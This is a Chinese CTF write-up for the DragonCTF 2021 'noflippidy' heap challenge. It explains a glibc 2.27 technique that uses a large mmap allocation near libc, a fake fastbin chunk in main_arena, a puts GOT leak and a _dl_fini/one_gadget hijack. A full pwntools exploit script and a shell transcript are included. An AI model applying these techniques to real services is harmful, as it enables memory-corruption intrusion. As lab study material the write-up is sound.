Drangonctf2021-noflippidy

来自Drangonctf2021的noflippidy,patch了之前的flippidy中的flip函数,但还是可以攻击

no-flippidy

程序分析

首先发现是libc_2.27_2.4的libc,这样tcache double free就没有了,因此之前flippidy的洞也就不能用了。然后到这里,我也就没什么思路了。

参考了superguesser的wp,学到了新的方法。链接https://kileak.github.io/ctf/2021/dragoncf21-noflippidy/

知识点

heap的mmap

我们只能做极少的事情,在这里只能add堆块,算是很严苛了。superGuesser给出了一个新的glibc特性:当分配一个很大的堆块时,会直接mmap一块虚拟地址空间出来,而这一块和libc有固定偏移

1
2
3
4
5
6
7
8
9
10
11
12
13
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x3fe000 0x400000 rw-p 2000 0 /home/nicholas/Desktop/pwn/dragon/no_flippy/no_flippidy
0x400000 0x401000 r--p 1000 2000 /home/nicholas/Desktop/pwn/dragon/no_flippy/no_flippidy
0x401000 0x402000 r-xp 1000 3000 /home/nicholas/Desktop/pwn/dragon/no_flippy/no_flippidy
0x402000 0x403000 r--p 1000 4000 /home/nicholas/Desktop/pwn/dragon/no_flippy/no_flippidy
0x403000 0x404000 r--p 1000 4000 /home/nicholas/Desktop/pwn/dragon/no_flippy/no_flippidy
0x404000 0x405000 rw-p 1000 5000 /home/nicholas/Desktop/pwn/dragon/no_flippy/no_flippidy
0x13ed000 0x140e000 rw-p 21000 0 [heap]
0x7efe4ff80000 0x7efe50181000 rw-p 201000 0 anon_7efe4ff80 <==== our mmaped heap
0x7efe50181000 0x7efe50368000 r-xp 1e7000 0 /home/nicholas/glibc-all-in-one/libs/libc6_2.27-3ubuntu1.4_amd64/libc.so.6


接下来我们分配notes,其实就是在libc中做修改。我们只要尝试分配到free_hook就可以了。

dl_fini利用

这个是以前听说过的一种利用,最早在pwnable上面看到过。现在难得见到了可以学习的题目。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
void_dl_fini (void)
{
...

_dl_sort_maps (maps + (ns == LM_ID_BASE), nmaps - (ns == LM_ID_BASE),
NULL, true);

...

for (i = 0; i < nmaps; ++i)
{
struct link_map *l = maps[i];
if (l->l_init_called)
{
l->l_init_called = 0;

if (l->l_info[DT_FINI_ARRAY] != NULL || l->l_info[DT_FINI] != NULL)
{
/* First see whether an array is given. */
if (l->l_info[DT_FINI_ARRAY] != NULL)
{
ElfW(Addr) *array = (ElfW(Addr) *) (l->l_addr + l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);

unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val
/ sizeof (ElfW(Addr)));

while (i-- > 0)
((fini_t) array[i]) ();
}

/* Next try the old-style destructor. */
if (l->l_info[DT_FINI] != NULL)
DL_CALL_DT_FINI (l, l->l_addr + l->l_info[DT_FINI]->d_un.d_ptr);
}
...
}

一般是两种利用方法

  1. 改写(fini_t) array[i],这样后面就会调用这个函数
  2. 改写DL_CALL_DT_FINI (l, l->l_addr + l->l_info[DT_FINI]->d_un.d_ptr)往里面存地址,这样也会调用函数

可以这道题没有给出使用fini的做法。

编写exp

1
2
3
4
pwndbg> p &__free_hook
$1 = (void (**)(void *, const void *)) 0x7f49a29db8e8 <__free_hook>
pwndbg> p 0x7f49a29db8e8-0x7f49a23ed000
$2 = 6220008

之后计算(6220008/0x40)得到我们想要覆盖到free_hook的偏移。但是事先要泄露一个堆地址或者libc地址。superguesser尝试了这么做,但是发现能够泄露,泄露之后无法再次调用。

这里采用了一种伪造堆块的方法。如下图

1
2
3
4
payload = p64(0x0) + p64(0x41)
payload += p64(0x404000) <= points above menu_ptrs

add((0x5ecc60-0x10)/8, payload) <= offset to 0x40 fastbin main_arena
1
2
3
4
5
pwndbg> x/20gx 0x7f49a29d9c60-0x20
0x7f49a29d9c40 <main_arena>: 0x0000000000000000 0x0000000000000000
0x7f49a29d9c50 <main_arena+16>: 0x0000000000000000 0x0000000000000000
0x7f49a29d9c60 <main_arena+32>: 0x0000000000000000 0x0000000000000000 <=== 这里是0x40,0x50的fastbin头位置
0x7f49a29d9c70 <main_arena+48>: 0x0000000000000000 0x0000000000000000

这里尝试在main arena中0x40的位置伪造一个堆块,这样下次取出0x40堆块时,就可以实现一次任意地址写。这样,我们就可以和flippidy一样,写menu,然后打印出一个libc地址!

接下来,就是写malloc_hook或者dl_fini都可以了。这里练习用dl_fini

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from pwn import *
io = process('./no_flippidy')
context.log_level='debug'
elf=ELF('./no_flippidy')
libc = ELF('./libc.so.6')
context.terminal = ['tmux','split','-hp','60']




def add(index,content):
io.recvuntil(':')
io.sendline(str(1))
io.sendlineafter('Index: ',str(index))
io.sendlineafter('Content: ',content)

def flip():
io.recvuntil(':')
io.sendline(str(2))

def exit():
io.recvuntil(':')
io.sendline(str(3))

def debug_add():
gdb.attach(io,"b *0x4012D0")
add(0,'aa')

def debug_menu():
gdb.attach(io,"b *0x401729")



io.recvuntil('will be:')
io.sendline(str(0x300200020/8)) # get a mmaped chunk before libc


# fake chunk in main_arena

payload = p64(0) + p64(0x41) + p64(0x404000) +p64(0)*3 # above menu ptrs, 0x404010 is also ok
add(0x5ecc50/8,payload)

# rewrite blocks, get libc_addr

add(0,p64(0))
add(1,p64(0)*2+p64(elf.got['puts']))
puts_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
libc_addr = puts_addr - libc.symbols['puts']
success("libc_addr: " + hex(libc_addr))

og = [0x4f3d5,0x4f432,0x10a41c]
# for practise, write dl_fini's exit hook
# debug_menu()
my_og = libc_addr + og[1]
success("og: " + hex(my_og))
payload2 = b"A"*8
payload2 += p64(my_og)
add((0x81c000 + 0x1208) / 8,payload2) # question: how to find this addr?

exit()

io.interactive()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
solve.py:23: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
io.sendline(str(3))
[DEBUG] Sent 0x2 bytes:
b'3\n'
[*] Switching to interactive mode
[DEBUG] Received 0x9 bytes:
b'Goodbye!\n'
Goodbye!
$ ls
[DEBUG] Sent 0x3 bytes:
b'ls\n'
[DEBUG] Received 0x20 bytes:
b'libc.so.6 no_flippidy\tsolve.py\n'
libc.so.6 no_flippidy solve.py
$

遇到的一个特殊点

这里一开始没注意到一个小问题: 我们伪造的是fastbin chunk,但是他会检查size,我们没有伪造size,为什么能过?这是因为有tcache stashing unlink机制:在tcache为空的时候,如果这个tcache的槽大小对应的fastbin中有多余的块,会把fastbin中的块全部拿到tcache中(直到填满)因此很巧妙的避开了检查。

疑惑

该怎么寻找dl_fini地址呢?

总结

学到了新的glibc利用:当可控chunk大小时,分配如上较大快,可以直接相当于劫持glibc和dl。其中dl还可以采用上面的劫持dl_fini的方法一键getshell。注意这里因为分配的时每一个堆块的储存地址的地方,所以还不能直接写exithook和mallochook等,要找到储存exithook和mallochook的地址才行。因此这里采用的是劫持dl_fini中的l->l_info[DT_FINI]。

文章目录
  1. 1. no-flippidy
    1. 1.1. 程序分析
    2. 1.2. 知识点
      1. 1.2.1. heap的mmap
      2. 1.2.2. dl_fini利用
    3. 1.3. 编写exp
      1. 1.3.1. exp
    4. 1.4. 遇到的一个特殊点
    5. 1.5. 疑惑
    6. 1.6. 总结
|